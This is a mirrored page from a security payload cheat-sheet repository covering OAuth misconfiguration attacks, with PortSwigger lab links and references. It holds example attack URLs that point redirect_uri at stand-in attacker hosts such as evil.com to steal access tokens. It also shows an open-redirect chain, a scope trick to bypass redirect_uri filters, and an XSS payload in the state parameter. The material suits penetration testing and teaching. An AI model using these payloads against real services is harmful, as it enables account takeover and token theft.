mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 15:14:34 +00:00
80 lines
No EOL
4.6 KiB
Markdown
80 lines
No EOL
4.6 KiB
Markdown
# OAuth Misconfiguration
|
||
|
||
## Summary
|
||
|
||
- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
|
||
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
|
||
- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
|
||
- [OAuth private key disclosure](#oauth-private-key-disclosure)
|
||
- [Authorization Code Rule Violation](#authorization-code-rule-violation)
|
||
- [Cross-Site Request Forgery](#cross-site-request-forgery)
|
||
- [References](#references)
|
||
|
||
## Stealing OAuth Token via referer
|
||
|
||
From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.
|
||
|
||
> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer
|
||
|
||
## Grabbing OAuth Token via redirect_uri
|
||
|
||
Redirect to a controlled domain to get the access token
|
||
|
||
```powershell
|
||
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
|
||
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
|
||
```
|
||
|
||
Redirect to an accepted Open URL in to get the access token
|
||
|
||
```powershell
|
||
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
|
||
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
|
||
```
|
||
|
||
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
|
||
|
||
Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
|
||
|
||
```powershell
|
||
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
|
||
```
|
||
|
||
## Executing XSS via redirect_uri
|
||
|
||
```powershell
|
||
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
|
||
```
|
||
|
||
## OAuth private key disclosure
|
||
|
||
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
|
||
|
||
## Authorization Code Rule Violation
|
||
|
||
> The client MUST NOT use the authorization code more than once.
|
||
If an authorization code is used more than once, the authorization server MUST deny the request
|
||
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
|
||
|
||
## Cross-Site Request Forgery
|
||
|
||
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
|
||
|
||
> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
|
||
|
||
## Labs
|
||
|
||
* [Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
|
||
* [Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
|
||
* [OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
|
||
* [Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
|
||
* [Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
|
||
|
||
|
||
## References
|
||
|
||
* [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
|
||
* [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
|
||
* [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
|
||
* [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)
|
||
- [Bypassing Google Authentication on Periscope's Administration Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) By Jack Whitton |